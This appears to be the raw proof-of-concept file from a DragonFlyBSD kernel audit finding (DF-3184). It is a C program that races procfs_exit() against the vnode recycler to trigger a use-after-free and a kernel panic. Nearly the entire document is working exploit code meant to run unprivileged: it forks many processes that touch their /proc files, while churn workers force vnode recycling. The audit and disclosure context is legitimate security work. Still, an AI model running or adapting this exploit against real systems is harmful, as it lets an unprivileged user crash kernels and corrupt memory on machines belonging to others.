โฌข DragonFlyBSD Kernel Audit
DF-3184 / df3184_race.c
โ† back to finding โ†“ download raw
/*
 * DF-3184 PoC โ€” race procfs_exit()'s pfs-hash walk (at_exit hook) against
 * the vnode recycler (vnlru / allocvnode_gc -> cleanfreevnode ->
 * vgone_vxlocked -> VOP_RECLAIM -> procfs_freevp -> kfree(pfs)).
 *
 * Exit side (the bug): short-lived children stat their own /proc/<pid>/*
 * files, idle (so their vnodes age onto the inactive list), then _exit() ->
 * exit1() -> at_exit hook procfs_exit() (procfs_subr.c:531-549):
 *         scan hash under ph->spin -> vhold(vp) -> spin_unlock -> vx_get(vp)
 *         -> pfs->pfs_pid |= PFS_DEAD  <-- stale pfs if a concurrent
 *                                          vgone_vxlocked already ran
 *                                          procfs_freevp()->kfree(pfs)
 * Recycle side: churn processes create/unlink temp files and stat /usr/src
 * files to push numvnodes over kern.maxvnodes so vnlru + allocvnode_gc
 * recycle vnodes continuously.
 *
 * Expected observable on the stock INVARIANTS kernel: panic โ€” the raced
 * vx_put() lands on a VBAD/VS_INACTIVE vnode, sets VREF_FINALIZE
 * (vfs_lock.c:763-764), and vrele() -> vnode_terminate() trips
 * KKASSERT(vp->v_state == VS_ACTIVE) (vfs_lock.c:503) โ€” after the UAF
 * write has already executed.  Also watch debug.auxrecovervnodes2
 * (mid-reclaim auxref aborts = near-miss counter).
 *
 * Everything runs UNPRIVILEGED (intended: nobody).  No setup beyond the
 * run itself.
 *
 * usage: df3184_race RUN_SECONDS NCHURN PAR CHILD_SLEEP_MS TMPDIR
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static double now_s(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return tv.tv_sec + tv.tv_usec / 1e6;
}

static const char *proc_targets[] = {
	"status", "cmdline", "map", "type", "rlimit",
	"regs", "fpregs", "dbregs", "ctl", "note", "notepg", "file",
	NULL
};

/* ---------------- exit-side child ---------------- */
static const char *procbase = "/proc";

static void racer_child(int sleep_ms)
{
	char path[128];
	struct stat st;
	int i;

	snprintf(path, sizeof(path), "%s/%d", procbase, (int)getpid());
	if (stat(path, &st) == 0) {
		int fd = open(path, O_RDONLY);
		if (fd >= 0)
			close(fd);
	}
	for (i = 0; proc_targets[i] != NULL; i++) {
		snprintf(path, sizeof(path), "%s/%d/%s",
			 procbase, (int)getpid(), proc_targets[i]);
		if (stat(path, &st) == 0) {
			int fd = open(path, O_RDONLY);
			if (fd >= 0)
				close(fd);
		}
	}
	/*
	 * vflush of a scratch procfs mount (umount -f) reclaims these
	 * vnodes immediately; exit shortly after touching them so the
	 * at_exit procfs_exit() walk lands inside the reclaim burst.
	 */
	usleep(sleep_ms * 1000);
	_exit(0);
}

/* ---------------- recycle-side churn ---------------- */

/* stat every file under dir, recursively (skip symlinks) */
static long walk_tree(const char *dir)
{
	DIR *d = opendir(dir);
	struct dirent *de;
	char path[1024];
	struct stat st;
	long n = 0;

	if (d == NULL)
		return 0;
	while ((de = readdir(d)) != NULL) {
		if (de->d_name[0] == '.' && (de->d_name[1] == 0 ||
		    (de->d_name[1] == '.' && de->d_name[2] == 0)))
			continue;
		snprintf(path, sizeof(path), "%s/%s", dir, de->d_name);
		if (stat(path, &st) < 0)
			continue;
		n++;
		if (S_ISDIR(st.st_mode))
			n += walk_tree(path);
	}
	closedir(d);
	return n;
}

static void churn_proc(int id, const char *tmpdir, const char *tree,
		       double deadline)
{
	char tmpl[128];
	int iter = 0;

	while (now_s() < deadline) {
		int fd;
		snprintf(tmpl, sizeof(tmpl), "%s/c%d.XXXXXX", tmpdir, id);
		fd = mkstemp(tmpl);
		if (fd >= 0) {
			if (write(fd, "x", 1) < 0)
				;
			close(fd);
			unlink(tmpl);
		}
		if ((++iter & 31) == 0 && tree)
			walk_tree(tree);
	}
	_exit(0);
}

/* prep mode: create n empty files under tree/tXXXXXX */
static int prep_tree(int n, const char *tree)
{
	char path[1024];
	int i, made = 0;

	for (i = 0; i < n; i++) {
		int fd;
		snprintf(path, sizeof(path), "%s/f%06d", tree, i);
		fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
		if (fd < 0)
			break;
		close(fd);
		made++;
		if ((made % 10000) == 0)
			printf("prep: %d\n", made);
	}
	printf("prep: created %d files under %s\n", made, tree);
	return made;
}

int main(int argc, char **argv)
{
	double deadline, start;
	int run_seconds = 300;
	int nchurn = 4;
	int par = 96;
	int sleep_ms = 2500;
	const char *tmpdir = "/tmp/df3184";
	const char *tree = "/tmp/df3184/tree";
	int i, inflight = 0, status;
	long forks = 0, reaps = 0;

	if (argc > 1 && strcmp(argv[1], "prep") == 0) {
		int n = argc > 2 ? atoi(argv[2]) : 70000;
		const char *tr = argc > 3 ? argv[3] : tree;
		mkdir("/tmp/df3184", 0777);
		mkdir(tr, 0777);
		return prep_tree(n, tr) > 0 ? 0 : 1;
	}
	if (argc > 1) run_seconds = atoi(argv[1]);
	if (argc > 2) nchurn = atoi(argv[2]);
	if (argc > 3) par = atoi(argv[3]);
	if (argc > 4) sleep_ms = atoi(argv[4]);
	if (argc > 5) tmpdir = argv[5];
	if (argc > 6) tree = argv[6];
	if (argc > 7) procbase = argv[7];

	if (strcmp(procbase, "/proc") != 0)
		nchurn = 0;	/* scratch-mount mode: no churn needed */

	start = now_s();
	deadline = start + run_seconds;
	setvbuf(stdout, NULL, _IOLBF, 0);
	printf("df3184_race: run=%ds churn=%d par=%d sleep=%dms tmp=%s tree=%s uid=%d\n",
	       run_seconds, nchurn, par, sleep_ms, tmpdir, tree, (int)getuid());

	for (i = 0; i < nchurn; i++) {
		pid_t p = fork();
		if (p == 0)
			churn_proc(i, tmpdir, tree, deadline);
	}

	/* breeder loop */
	while (now_s() < deadline) {
		while (inflight < par) {
			pid_t p = fork();
			if (p == 0)
				racer_child(sleep_ms);
			if (p > 0) {
				inflight++;
				forks++;
			} else {
				break;
			}
		}
		usleep(2000);
		while (waitpid(-1, &status, WNOHANG) > 0) {
			inflight--;
			reaps++;
		}
		if ((forks % 512) < 96) { /* periodic heartbeat */
			static long last = -1;
			if (forks / 512 != last) {
				last = forks / 512;
				printf("[%6.1fs] forks=%ld reaps=%ld inflight=%d\n",
				       now_s() - start, forks, reaps, inflight);
			}
		}
	}
	/* drain */
	while (inflight > 0) {
		pid_t r = wait(&status);
		if (r > 0) {
			inflight--;
			reaps++;
		}
	}
	while (waitpid(-1, &status, WNOHANG) > 0)
		;
	printf("done: forks=%ld reaps=%ld elapsed=%.1fs\n",
	       forks, reaps, now_s() - start);
	return 0;
}